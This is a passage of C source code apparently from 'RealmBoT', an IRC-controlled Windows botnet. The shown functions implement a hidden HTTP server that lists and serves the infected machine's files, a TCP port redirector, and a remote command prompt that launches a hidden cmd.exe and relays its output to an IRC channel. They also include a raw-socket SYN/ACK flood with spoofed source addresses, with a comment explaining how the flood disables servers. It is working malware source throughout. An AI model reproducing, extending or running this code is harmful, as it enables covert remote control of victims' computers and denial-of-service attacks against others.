  4517. case FILE_ATTRIBUTE_DIRECTORY:
  4518. directory = TRUE;
  4519. break;
  4520. case 0xFFFFFFFF:
  4521. fclosesocket(sock);
  4522. return 0;
  4523. }
  4524.  
  4525. if (nFile[d-1] == 92)
  4526. directory = TRUE;
  4527.  
  4528. HTTPD httpd;
  4529. httpd.sock = sock;
  4530. httpd.info = FALSE;
  4531.  
  4532. if (directory) {
  4533. if (dirinfo) {
  4534. strcat(tFile,"*");
  4535. sprintf(httpd.file,tFile);
  4536.  
  4537. File_To_HTML(nFile);
  4538. sprintf(httpd.path,nFile);
  4539.  
  4540. httpd.type = TRUE;
  4541. httpd.length = -1;
  4542. } else {
  4543. fclosesocket(sock);
  4544.  
  4545. return 0;
  4546. }
  4547. } else {
  4548. HANDLE testfile = CreateFile(tFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  4549. if (testfile != INVALID_HANDLE_VALUE) {
  4550. sprintf(httpd.file,tFile);
  4551.  
  4552. httpd.type = FALSE;
  4553. httpd.length = GetFileSize(testfile,NULL);
  4554.  
  4555. CloseHandle(testfile);
  4556. }
  4557. }
  4558.  
  4559. sprintf(buffer,"RealmBoT (httpd.p.l.g) .»». Worker thread of server thread: %d.", threadnum);
  4560. httpd.threadnum = addthread(buffer,HTTP_THREAD,NULL);
  4561. threads[httpd.threadnum].parent = threadnum;
  4562. if (threads[httpd.threadnum].tHandle = CreateThread(NULL, 0, &HTTP_Header, (LPVOID)&httpd, 0, &id)) {
  4563. while (httpd.info == FALSE)
  4564. Sleep(5);
  4565. } else {
  4566. fclosesocket(sock);
  4567. sprintf(buffer,"RealmBoT (httpd.p.l.g) .»». Failed to start worker thread, error: <%d>.", GetLastError());
  4568. addlog(buffer);
  4569. }
  4570.  
  4571. return 0;
  4572. }
  4573.  
  4574. int GetFiles(char *current, SOCKET sock, char *chan, char *URL)
  4575. {
  4576. FILETIME ftBuf;
  4577. SYSTEMTIME stBuf;
  4578. WIN32_FIND_DATA WFD;
  4579.  
  4580. char sendbuf[IRCLINE],parent[MAX_PATH],tmpDate[40],tmpDir[MAX_PATH+2];
  4581. int count=0, count2=0;
  4582. unsigned int COL1=230, COL2=150, COL3=60, FILESIZE=30;
  4583.  
  4584. memset(parent,0,sizeof(parent));
  4585. strtok(current,"\n");
  4586. if (chan)
  4587. _snprintf(sendbuf,sizeof(sendbuf),"PRIVMSG %s :Searching for: %s\r\n",chan,current);
  4588. else
  4589. if (URL) {
  4590. current[(strlen(current)-1)]=0;
  4591.  
  4592. _snprintf(sendbuf,sizeof(sendbuf),"<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TITLE>\r\n</HEAD>\r\n<BODY>\r\n",
  4593. current);
  4594. fsend(sock,sendbuf,strlen(sendbuf),0);
  4595.  
  4596. _snprintf(sendbuf,sizeof(sendbuf),"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\">\r\n",
  4597. current);
  4598. fsend(sock,sendbuf,strlen(sendbuf),0);
  4599.  
  4600. current[(strlen(current))]='*';
  4601.  
  4602. _snprintf(sendbuf,sizeof(sendbuf),"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE></TD>\r\n<TD WIDTH=\"%d\"><CODE>Last Modified</CODE></TD>\r\n<TD WIDTH=\"%d\" ALIGN=\"right\"><CODE>Size</CODE></TD>\r\n</TR>\r\n",
  4603. COL1, COL2, COL3);
  4604. fsend(sock,sendbuf,strlen(sendbuf),0);
  4605.  
  4606. _snprintf(sendbuf,sizeof(sendbuf),"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r\n");
  4607. } else
  4608. _snprintf(sendbuf,sizeof(sendbuf),"Searching for: %s\r\n",current);
  4609.  
  4610. fsend(sock,sendbuf,strlen(sendbuf),0);
  4611. if (URL && strlen(URL) > 2) {
  4612. unsigned int c;
  4613.  
  4614. for (c=strlen(URL)-3; c!=0; c--)
  4615. if (URL[c] == 47)
  4616. break;
  4617. strncpy(parent,URL,c+1);
  4618.  
  4619. _snprintf(sendbuf,sizeof(sendbuf),"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><CODE>Parent Directory</CODE></A></TD>\r\n</TR>\r\n",parent);
  4620. fsend(sock,sendbuf,strlen(sendbuf),0);
  4621. }
  4622.  
  4623. HANDLE Hnd = FindFirstFile(current, &WFD);
  4624. while (FindNextFile(Hnd, &WFD)) {
  4625. if ((WFD.dwFileAttributes) && (strcmp(WFD.cFileName, "..") && strcmp(WFD.cFileName, "."))) {
  4626. FileTimeToLocalFileTime(&WFD.ftLastWriteTime, &ftBuf);
  4627. FileTimeToSystemTime(&ftBuf, &stBuf);
  4628. sprintf(tmpDate, "%2.2d/%2.2d/%4d %2.2d:%2.2d %s",
  4629. stBuf.wMonth, stBuf.wDay, stBuf.wYear, HOUR(stBuf.wHour), stBuf.wMinute, AMPM(stBuf.wHour));
  4630.  
  4631. if (WFD.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  4632. count2++;
  4633. if (chan) {
  4634. _snprintf(tmpDir,sizeof(tmpDir),"<%s>",WFD.cFileName);
  4635. _snprintf(sendbuf,sizeof(sendbuf),"PRIVMSG %s :%-31s %-21s\n",chan,tmpDir, tmpDate);
  4636. } else
  4637. if (URL) {
  4638. _snprintf(sendbuf,(sizeof(sendbuf)-1),"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"",COL1);
  4639. fsend(sock,sendbuf,strlen(sendbuf),0);
  4640.  
  4641. _snprintf(sendbuf,(sizeof(sendbuf)-1),"%s%s/",URL,WFD.cFileName);
  4642. fsend(sock,sendbuf,strlen(sendbuf),0);
  4643.  
  4644. if(strlen(WFD.cFileName)>FILESIZE)
  4645. _snprintf(sendbuf,(sizeof(sendbuf)-1),"\"><CODE>%.29s&gt;/</CODE></A>",WFD.cFileName);
  4646. else
  4647. _snprintf(sendbuf,(sizeof(sendbuf)-1),"\"><CODE>%s/</CODE></A>",WFD.cFileName);
  4648. fsend(sock,sendbuf,strlen(sendbuf),0);
  4649.  
  4650. _snprintf(sendbuf,(sizeof(sendbuf)-1),"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></TD>\r\n<TD WIDTH=\"%d\" ALIGN=\"right\"><CODE>-</CODE></TD>\r\n</TR>\r\n",
  4651. COL2,tmpDate,COL3);
  4652. } else {
  4653. _snprintf(tmpDir,sizeof(tmpDir),"<%s>",WFD.cFileName);
  4654. _snprintf(sendbuf,sizeof(sendbuf),"%-31s %-21s\r\n",tmpDir,tmpDate);
  4655. }
  4656. } else {
  4657. count++;
  4658. if (chan)
  4659. _snprintf(sendbuf,sizeof(sendbuf),"PRIVMSG %s :%-31s %-21s (%s bytes)\n",chan,WFD.cFileName,tmpDate,commaI64(WFD.nFileSizeLow));
  4660. else
  4661. if (URL) {
  4662. _snprintf(sendbuf,(sizeof(sendbuf)-1),"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"",COL1);
  4663. fsend(sock,sendbuf,strlen(sendbuf),0);
  4664.  
  4665. _snprintf(sendbuf,(sizeof(sendbuf)-1),"%s%s",URL,WFD.cFileName);
  4666. fsend(sock,sendbuf,strlen(sendbuf),0);
  4667.  
  4668. if(strlen(WFD.cFileName)>(FILESIZE+1))
  4669. _snprintf(sendbuf,(sizeof(sendbuf)-1),"\"><CODE>%.30s&gt;</CODE></A>",WFD.cFileName);
  4670. else
  4671. _snprintf(sendbuf,(sizeof(sendbuf)-1),"\"><CODE>%s</CODE></A>",WFD.cFileName);
  4672. fsend(sock,sendbuf,strlen(sendbuf),0);
  4673.  
  4674. _snprintf(sendbuf,(sizeof(sendbuf)-1),"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></TD>\r\n<TD WIDTH=\"%d\" ALIGN=\"right\"><CODE>%dk</CODE></TD>\r\n</TR>\r\n",
  4675. COL2,tmpDate,COL3,(WFD.nFileSizeLow/1024));
  4676. } else
  4677. _snprintf(sendbuf,sizeof(sendbuf),"%-31s %-21s (%i bytes)\r\n",WFD.cFileName,tmpDate,WFD.nFileSizeLow);
  4678. }
  4679. fsend(sock,sendbuf,strlen(sendbuf),0);
  4680.  
  4681. if (chan)
  4682. Sleep(FLOOD_DELAY);
  4683. }
  4684.  
  4685. }
  4686. FindClose(Hnd);
  4687.  
  4688. if (chan)
  4689. sprintf(sendbuf,"PRIVMSG %s :Found %s Files and %s Directories\n",chan,commaI64(count),commaI64(count2));
  4690. else if (URL)
  4691. sprintf(sendbuf,"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r\n</TABLE>\r\n</BODY>\r\n</HTML>\r\n");
  4692. else
  4693. sprintf(sendbuf,"Found: %i Files and %i Directories\r\n",count,count2);
  4694. fsend(sock,sendbuf,strlen(sendbuf),0);
  4695.  
  4696. return 0;
  4697. }
  4698.  
  4699. void HTTP_Send_File(SOCKET sock, char *file)
  4700. {
  4701. char buffer[1024];
  4702.  
  4703. unsigned int Fsize,Fsend=1024,move;
  4704. DWORD mode=0;
  4705.  
  4706. HANDLE testfile = CreateFile(file,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  4707. if (testfile == INVALID_HANDLE_VALUE)
  4708. return;
  4709.  
  4710. Fsize = GetFileSize(testfile,NULL);
  4711.  
  4712. while (Fsize) {
  4713. memset(buffer,0,sizeof(buffer));
  4714.  
  4715. if (Fsend>Fsize)
  4716. Fsend=Fsize;
  4717. move=0-Fsize;
  4718.  
  4719. SetFilePointer(testfile, move, NULL, FILE_END);
  4720. ReadFile(testfile, buffer, Fsend, &mode, NULL);
  4721.  
  4722. int bytes_sent=fsend(sock, buffer, Fsend, 0);
  4723. if (bytes_sent == SOCKET_ERROR) {
  4724. if (fWSAGetLastError() != WSAEWOULDBLOCK)
  4725. break;
  4726. else
  4727. bytes_sent = 0;
  4728. }
  4729. Fsize=Fsize-bytes_sent;
  4730. }
  4731.  
  4732. if (testfile != INVALID_HANDLE_VALUE)
  4733. CloseHandle(testfile);
  4734.  
  4735. return;
  4736. }
  4737.  
  4738. char *File_To_HTML(char *file)
  4739. {
  4740. for (unsigned int c=0; c<strlen(file); c++)
  4741. if (file[c] == 92)
  4742. file[c] = 47;
  4743.  
  4744. return file;
  4745. }
  4746.  
  4747. void HTTP_Connect(SOCKET sock, char *chan, BOOL notice, BOOL silent, char *host, int port, char *method, char *url, char *referer)
  4748. {
  4749. char sendbuf[IRCLINE], buffer[256];
  4750.  
  4751. WSADATA wsaData;
  4752. fWSAStartup(MAKEWORD(1,1), &wsaData);
  4753.  
  4754. SOCKET hsock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  4755.  
  4756. SOCKADDR_IN ssin;
  4757. memset(&ssin, 0, sizeof(ssin));
  4758. ssin.sin_family = AF_INET;
  4759. ssin.sin_port = fhtons((unsigned short)port);
  4760. ssin.sin_addr.s_addr = ResolveAddress(host);
  4761.  
  4762. if (fconnect(hsock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {
  4763. _snprintf(buffer,sizeof(buffer),"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nConnection: close\n\n",method,url,((referer)?(referer):("")),host);
  4764.  
  4765. fsend(hsock, buffer, strlen(buffer), 0);
  4766. memcpy(buffer,0,sizeof(buffer));
  4767. frecv(hsock, buffer, sizeof(buffer), 0);
  4768. }
  4769.  
  4770. fclosesocket(hsock);
  4771. fWSACleanup();
  4772.  
  4773. sprintf(sendbuf, buffer);
  4774. if (!silent) irc_privmsg(sock, chan, sendbuf, notice);
  4775.  
  4776. return;
  4777. }
  4778. #endif
  4779. #ifndef NO_REDIRECT
  4780.  
  4781. // port redirect function
  4782. DWORD WINAPI RedirectThread(LPVOID param)
  4783. {
  4784. REDIRECT redirect = *((REDIRECT *)param);
  4785. REDIRECT *redirectp = (REDIRECT *)param;
  4786. redirectp->gotinfo = TRUE;
  4787.  
  4788. char sendbuf[IRCLINE];
  4789. DWORD id;
  4790.  
  4791. SOCKADDR_IN rsin, csin;
  4792. memset(&rsin, 0, sizeof(rsin));
  4793. rsin.sin_family = AF_INET;
  4794. rsin.sin_port = fhtons((unsigned short)redirect.lport);
  4795. rsin.sin_addr.s_addr = INADDR_ANY;
  4796.  
  4797. int csin_len = sizeof(csin);
  4798.  
  4799. SOCKET rsock, csock;
  4800. if ((rsock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) {
  4801. threads[redirect.threadnum].sock = rsock;
  4802.  
  4803. fWSAAsyncSelect(rsock, 0, WM_USER + 1, FD_READ);
  4804. if (fbind(rsock, (LPSOCKADDR)&rsin, sizeof(rsin)) == 0) {
  4805. if (flisten(rsock, 10) == 0) {
  4806. while(1) {
  4807. if ((csock = faccept(rsock, (LPSOCKADDR)&csin, &csin_len)) != INVALID_SOCKET) {
  4808. redirect.csock = csock;
  4809.  
  4810. redirect.gotinfo = FALSE;
  4811. sprintf(sendbuf,"RealmBoT (redirect.p.l.g) .»». Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), csin.sin_port, redirect.threadnum);
  4812. redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,csock);
  4813. threads[redirect.cthreadnum].parent = redirect.threadnum;
  4814. if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoopThread,(LPVOID)&redirect,0,&id)) {
  4815. while (redirect.gotinfo == FALSE)
  4816. Sleep(50);
  4817. } else {
  4818. addlogv("RealmBoT (redirect.p.l.g) .»». Failed to start client thread, error: <%d>.", GetLastError());
  4819. break;
  4820. }
  4821. }
  4822. }
  4823. }
  4824. }
  4825. }
  4826.  
  4827. fclosesocket(csock);
  4828. fclosesocket(rsock);
  4829. clearthread(redirect.threadnum);
  4830.  
  4831. ExitThread(0);
  4832. }
  4833.  
  4834. // part of the redirect function, handles sending/recieving for the remote connection.
  4835. DWORD WINAPI RedirectLoopThread(LPVOID param)
  4836. {
  4837. REDIRECT redirect = *((REDIRECT *)param);
  4838. REDIRECT *redirectp = (REDIRECT *)param;
  4839. redirectp->gotinfo = TRUE;
  4840.  
  4841. int threadnum=redirect.cthreadnum;
  4842.  
  4843. char sendbuf[IRCLINE], buff[4096];
  4844. int err;
  4845. DWORD id;
  4846.  
  4847. SOCKET ssock;
  4848. do {
  4849. if ((ssock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) break;
  4850.  
  4851. SOCKADDR_IN ssin;
  4852. memset(&ssin, 0, sizeof(ssin));
  4853. ssin.sin_family = AF_INET;
  4854. ssin.sin_port = fhtons((unsigned short)redirect.port);
  4855.  
  4856. IN_ADDR iaddr;
  4857. iaddr.s_addr = finet_addr(redirect.dest);
  4858. LPHOSTENT hostent;
  4859. if (iaddr.s_addr == INADDR_NONE)
  4860. hostent = fgethostbyname(redirect.dest);
  4861. else
  4862. hostent = fgethostbyaddr((const char *)&iaddr, sizeof(iaddr), AF_INET);
  4863. if (hostent == NULL) break;
  4864. ssin.sin_addr = *((LPIN_ADDR)*hostent->h_addr_list);
  4865.  
  4866. if ((err = fconnect(ssock, (LPSOCKADDR)&ssin, sizeof(ssin))) == SOCKET_ERROR) break;
  4867.  
  4868. redirect.cgotinfo = FALSE;
  4869. sprintf(sendbuf,"RealmBoT (redirect.p.l.g) .»». Client connection to IP: %s:%d, Server thread: %d.", finet_ntoa(ssin.sin_addr), ssin.sin_port, redirect.threadnum);
  4870. redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,ssock);
  4871. threads[redirect.cthreadnum].parent = redirect.threadnum;
  4872. threads[redirect.cthreadnum].csock = threads[threadnum].sock;
  4873. if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoop2Thread,(LPVOID)&redirect,0,&id)) {
  4874. while (redirect.cgotinfo == FALSE)
  4875. Sleep(50);
  4876. } else {
  4877. addlogv("RealmBoT (redirect.p.l.g) .»». Failed to start connection thread, error: <%d>.", GetLastError());
  4878. break;
  4879. }
  4880.  
  4881. while (1) {
  4882. memset(buff, 0, sizeof(buff));
  4883. if ((err = frecv(threads[threadnum].sock, buff, sizeof(buff), 0)) <= 0) break;
  4884. if ((err = fsend(ssock, buff, err, 0)) == SOCKET_ERROR) break;
  4885. }
  4886. break;
  4887. } while (1);
  4888.  
  4889. fclosesocket(threads[threadnum].sock);
  4890. fclosesocket(ssock);
  4891.  
  4892. clearthread(threadnum);
  4893.  
  4894. ExitThread(0);
  4895. }
  4896.  
  4897. // part of the redirect function, handles sending/recieving for the local connection.
  4898. DWORD WINAPI RedirectLoop2Thread(LPVOID param)
  4899. {
  4900. REDIRECT redirect = *((REDIRECT *)param);
  4901. REDIRECT *redirectp = (REDIRECT *)param;
  4902. redirectp->cgotinfo = TRUE;
  4903.  
  4904. int threadnum=redirect.cthreadnum, err;
  4905.  
  4906. char buff[4096];
  4907.  
  4908. while (1) {
  4909. memset(buff, 0, sizeof(buff));
  4910. if ((err = frecv(threads[threadnum].csock, buff, sizeof(buff), 0)) <= 0) break;
  4911. if ((err = fsend(threads[threadnum].sock, buff, err, 0)) == SOCKET_ERROR) break;
  4912. }
  4913. fclosesocket(threads[threadnum].csock);
  4914.  
  4915. clearthread(threadnum);
  4916.  
  4917. ExitThread(0);
  4918. }
  4919. #endif
  4920.  
  4921. #ifndef NO_REMOTECMD
  4922.  
  4923. HANDLE pipe_read;
  4924. HANDLE pipe_write;
  4925. HANDLE pipe_Hproc;
  4926. HANDLE hChildInWrDupe;
  4927. SOCKET pipesock;
  4928. char pipe_chan[50];
  4929.  
  4930. void Close_Handles(void)
  4931. {
  4932. if (pipe_read != INVALID_HANDLE_VALUE)
  4933. CloseHandle(pipe_read);
  4934. if (pipe_write != INVALID_HANDLE_VALUE)
  4935. CloseHandle(pipe_write);
  4936. if (pipe_Hproc != INVALID_HANDLE_VALUE)
  4937. CloseHandle(pipe_Hproc);
  4938.  
  4939. return;
  4940. }
  4941.  
  4942. BOOL send_commands(char *commands)
  4943. {
  4944. DWORD cmdlen = strlen(commands);
  4945. if (!WriteFile(hChildInWrDupe,commands,cmdlen,&cmdlen,NULL)) {
  4946. Close_Handles();
  4947. return FALSE;
  4948. }
  4949.  
  4950. return TRUE;
  4951. }
  4952.  
  4953. int pipe_send(SOCKET sock,char *chan,char *buf)
  4954. {
  4955. char sendbuf[IRCLINE];
  4956.  
  4957. if (strcmp(chan, "") != 0) {
  4958. Sleep(FLOOD_DELAY);
  4959. sprintf(sendbuf,"PRIVMSG %s :%s\r",chan,buf);
  4960. } else
  4961. sprintf(sendbuf,"%s",buf);
  4962.  
  4963. if (fsend(sock,sendbuf,strlen(sendbuf),0) <= 0)
  4964. Close_Handles();
  4965.  
  4966. return 0;
  4967. }
  4968.  
  4969. DWORD WINAPI PipeReadThread(LPVOID param)
  4970. {
  4971. DWORD numread, br;
  4972. char buffer[IRCLINE];
  4973.  
  4974. int threadnum = (int)param;
  4975.  
  4976. while (1) {
  4977. BOOL eol = FALSE;
  4978. DWORD State;
  4979.  
  4980. memset(buffer,0,sizeof(buffer));
  4981. if (!PeekNamedPipe(pipe_read,buffer,IRCLINE,&br,NULL,NULL)) {
  4982. pipe_send(pipesock,pipe_chan,"RealmBoT (cmd.p.l.g) .»». Could not read data from proccess\r\n");
  4983. clearthread(threadnum);
  4984.  
  4985. ExitThread(1);
  4986. }
  4987.  
  4988. if (br == 0) { //nothing to read
  4989. if (GetExitCodeProcess(pipe_Hproc,&State)) {
  4990. if (State != STILL_ACTIVE) {
  4991. Close_Handles();
  4992. pipe_send(pipesock,pipe_chan,"RealmBoT (cmd.p.l.g) .»». Proccess has terminated.\r\n");
  4993. clearthread(threadnum);
  4994.  
  4995. ExitThread (0);
  4996. }
  4997. }
  4998. Sleep(10); //process pause and retry
  4999. continue;
  5000. }
  5001.  
  5002. DWORD cbyte;
  5003. for (cbyte=0;cbyte<br;cbyte++) {
  5004. if (buffer[cbyte] == '\n') {
  5005. eol = TRUE;
  5006. break;
  5007. }
  5008. }
  5009. if (eol)
  5010. br = cbyte + 1;
  5011. else
  5012. br = 512;
  5013. memset(buffer,0,sizeof(buffer));
  5014. if (!ReadFile(pipe_read, buffer, br, &numread, NULL))
  5015. break;
  5016. pipe_send(pipesock,pipe_chan,buffer);
  5017.  
  5018. }
  5019. pipe_send(pipesock,pipe_chan,"RealmBoT (cmd.p.l.g) .»». Could not read data from proccess.\r\n");
  5020. clearthread(threadnum);
  5021.  
  5022. ExitThread (0);
  5023. }
  5024.  
  5025. int open_cmd(SOCKET sock,char * chan)
  5026. {
  5027. char buffer[IRCLINE], cmddir[MAX_PATH];
  5028. int threadnum;
  5029.  
  5030. SECURITY_ATTRIBUTES secAttr;
  5031. HANDLE hChildOutRd, hChildOutWr, hChildInRd, hChildInWr;
  5032.  
  5033. Close_Handles();
  5034.  
  5035. if(fSearchPath(NULL,"cmd.exe",NULL,sizeof(cmddir),cmddir,NULL) == 0)
  5036. return -1;
  5037.  
  5038. secAttr.nLength = sizeof(secAttr);
  5039. secAttr.bInheritHandle = TRUE;
  5040. secAttr.lpSecurityDescriptor = NULL;
  5041.  
  5042. if (!CreatePipe(&hChildOutRd, &hChildOutWr, &secAttr, 0))
  5043. return -1;
  5044. if (!CreatePipe(&hChildInRd, &hChildInWr, &secAttr, 0))
  5045. return -1;
  5046. if (!DuplicateHandle(GetCurrentProcess(), hChildInWr, GetCurrentProcess(), &hChildInWrDupe, 0, FALSE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE))
  5047. return -1;
  5048.  
  5049. PROCESS_INFORMATION pinfo;
  5050. memset(&pinfo, 0, sizeof(pinfo));
  5051. STARTUPINFO sinfo;
  5052. memset(&sinfo, 0, sizeof(sinfo));
  5053. sinfo.cb = sizeof(sinfo);
  5054. sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  5055. sinfo.wShowWindow = SW_HIDE;
  5056. sinfo.hStdInput = hChildInRd;
  5057. sinfo.hStdOutput = hChildOutWr;
  5058. sinfo.hStdError = hChildOutWr;
  5059. if (!CreateProcess(cmddir,"", NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo))
  5060. return -1;
  5061. CloseHandle(hChildInRd);
  5062.  
  5063. DWORD id;
  5064. pipe_read = hChildOutRd;
  5065. pipe_write = hChildInWr;
  5066. pipe_Hproc = pinfo.hProcess;
  5067. CloseHandle(pinfo.hThread);
  5068. pipesock = sock;
  5069.  
  5070. if (chan)
  5071. sprintf(pipe_chan,chan);
  5072. else
  5073. sprintf(pipe_chan,"");
  5074.  
  5075. threadnum = addthread("RealmBoT (cmd.p.l.g) .»». Remote Command Prompt",RCMD_THREAD,NULL);
  5076. threads[threadnum].pid = pinfo.dwProcessId;
  5077. if ((threads[threadnum].tHandle = CreateThread(NULL, 0, &PipeReadThread, (LPVOID)threadnum, 0, &id)) == NULL) {
  5078. sprintf(buffer,"RealmBoT (cmd.p.l.g) .»». Failed to start IO thread, error: <%d>.", GetLastError());
  5079. addlog(buffer);
  5080. }
  5081.  
  5082. return 0;
  5083. }
  5084. #endif
  5085.  
  5086.  
  5087. #ifndef NO_DDOS
  5088.  
  5089. DWORD WINAPI DDOSThread(LPVOID param)
  5090. {
  5091. char sendbuf[IRCLINE];
  5092.  
  5093. DDOS ddos = *((DDOS *)param);
  5094. DDOS *ddoss = (DDOS *)param;
  5095. ddoss->gotinfo = TRUE;
  5096.  
  5097. srand(GetTickCount());
  5098.  
  5099. sprintf(sendbuf, "RealmBoT (ddos.p.l.g) .»». Done with flood (%iKB/sec).", DDOSAttack(ddos.ip, ddos.port, ddos.type, ddos.length));
  5100. if (!ddos.silent) irc_privmsg(ddos.sock, ddos.chan, sendbuf, ddos.notice);
  5101. addlog(sendbuf);
  5102.  
  5103. clearthread(ddos.threadnum);
  5104.  
  5105. ExitThread(0);
  5106. }
  5107.  
  5108. long SendDDOS(unsigned long TargetIP, unsigned int SpoofingIP, char *Type, unsigned short TargetPort, int len)
  5109. {
  5110. WSADATA WSAData;
  5111. SOCKET sock;
  5112. SOCKADDR_IN addr_in;
  5113. IPHEADER ipHeader;
  5114. TCPHEADER tcpHeader;
  5115. PSDHEADER psdHeader;
  5116.  
  5117. LARGE_INTEGER freq, halt_time, cur;
  5118. char szSendBuf[60]={0},buf[64];
  5119. int rect;
  5120.  
  5121. if (fWSAStartup(MAKEWORD(2,2), &WSAData)!=0)
  5122. return FALSE;
  5123.  
  5124. if ((sock = fWSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED )) == INVALID_SOCKET) {
  5125. fWSACleanup();
  5126. return FALSE;
  5127. }
  5128.  
  5129. BOOL flag=TRUE;
  5130. if (fsetsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag)) == SOCKET_ERROR) {
  5131. fclosesocket(sock);
  5132. fWSACleanup();
  5133. return FALSE;
  5134. }
  5135.  
  5136. addr_in.sin_family=AF_INET;
  5137. addr_in.sin_port=fhtons((unsigned short)TargetPort);
  5138. addr_in.sin_addr.s_addr=TargetIP;
  5139.  
  5140. ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
  5141. ipHeader.total_len=fhtons(sizeof(ipHeader)+sizeof(tcpHeader));
  5142. ipHeader.ident=1;
  5143. ipHeader.frag_and_flags=0;
  5144. ipHeader.ttl=128;
  5145. ipHeader.proto=IPPROTO_TCP;
  5146. ipHeader.checksum=0;
  5147. ipHeader.destIP=TargetIP;
  5148.  
  5149. tcpHeader.dport=fhtons((unsigned short)TargetPort);
  5150. tcpHeader.sport=fhtons((unsigned short)rand()%1025);
  5151. tcpHeader.seq=fhtonl(0x12345678);
  5152.  
  5153. /* A SYN attack simply smash its target up with TCP SYN packets.
  5154. Each SYN packet needs a SYN-ACK response and forces the server to wait for
  5155. the good ACK in reply. Of course, we just never gives the ACK, since we use a
  5156. bad IP address (spoof) there's no chance of an ACK returning.
  5157. This quickly kills a server as it tries to send out SYN-ACKs while waiting for ACKs.
  5158. When the SYN-ACK queues fill up, the server can no longer take any incoming SYNs,
  5159. and that's the end of that server until the attack is cleared up.*/
  5160.  
  5161. if (strcmp(Type,"ddos.syn") == 0) {
  5162. tcpHeader.ack_seq=0;
  5163. tcpHeader.flags=SYN;
  5164. } else if (strcmp(Type,"ddos.ack") == 0) {
  5165. tcpHeader.ack_seq=0;
  5166. tcpHeader.flags=ACK;
  5167. } else if (strcmp(Type,"ddos.random") == 0) {
  5168. tcpHeader.ack_seq=rand()%3;
  5169. if (rand()%2 == 0)
  5170. tcpHeader.flags=SYN;
  5171. else
  5172. tcpHeader.flags=ACK;
  5173. }
  5174.  
  5175. tcpHeader.lenres=(sizeof(tcpHeader)/4<<4|0);
  5176. tcpHeader.window=fhtons(16384);
  5177. tcpHeader.urg_ptr=0;
  5178.  
  5179. long total = 0;
  5180. QueryPerformanceFrequency(&freq);
  5181. QueryPerformanceCounter(&cur);
  5182. halt_time.QuadPart = (freq.QuadPart * len) + cur.QuadPart;
  5183.  
  5184. while (1) {
  5185. tcpHeader.checksum=0;
  5186. tcpHeader.sport=fhtons((unsigned short)((rand() % 1001) + 1000));
  5187. tcpHeader.seq=fhtons((unsigned short)((rand() << 16) | rand()));
  5188.  
  5189. ipHeader.sourceIP=fhtonl(SpoofingIP++);
  5190.  
  5191. psdHeader.daddr=ipHeader.destIP;
  5192. psdHeader.zero=0;
  5193. psdHeader.proto=IPPROTO_TCP;
  5194. psdHeader.length=fhtons(sizeof(tcpHeader));
  5195. psdHeader.saddr=ipHeader.sourceIP;
  5196. memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
  5197. memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
  5198.  
  5199. tcpHeader.checksum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
  5200.  
  5201. memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
  5202. memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
  5203. memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
  5204. ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
  5205.  
  5206. memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
  5207. rect=fsendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(LPSOCKADDR)&addr_in, sizeof(addr_in));
  5208. if (rect==SOCKET_ERROR) {
  5209. sprintf(buf, "RealmBoT (ddos.p.l.g) .»». Send error: <%d>.",fWSAGetLastError());
  5210. addlog(buf);
  5211.  
  5212. fclosesocket(sock);
  5213. fWSACleanup();
  5214. return 0;
  5215. }
  5216.  
  5217. total += rect;
  5218. QueryPerformanceCounter(&cur);
  5219. if (cur.QuadPart >= halt_time.QuadPart)
  5220. break;
  5221. }
  5222.  
  5223. fclosesocket(sock);
  5224. fWSACleanup();
  5225.  
  5226. return (total);
  5227. }
  5228.  
  5229. long DDOSAttack(char *target, char *port, char *type, char *len)
  5230. {
  5231. unsigned long TargetIP = ResolveAddress(target);
  5232. unsigned short p = atoi(port);
  5233. int t = atoi(len);
  5234. unsigned int SpoofIP = TargetIP + ((rand()%512)+256);
  5235.  
  5236. long num = SendDDOS(TargetIP, SpoofIP, type, p, t);
  5237.  
  5238. if (num == 0)
  5239. num = 1;
  5240. num = num / 1000 / t;
  5241.  
  5242. return num;
  5243. }
  5244. #endif
  5245.  
  5246. #ifndef NO_VISIT
  5247.  
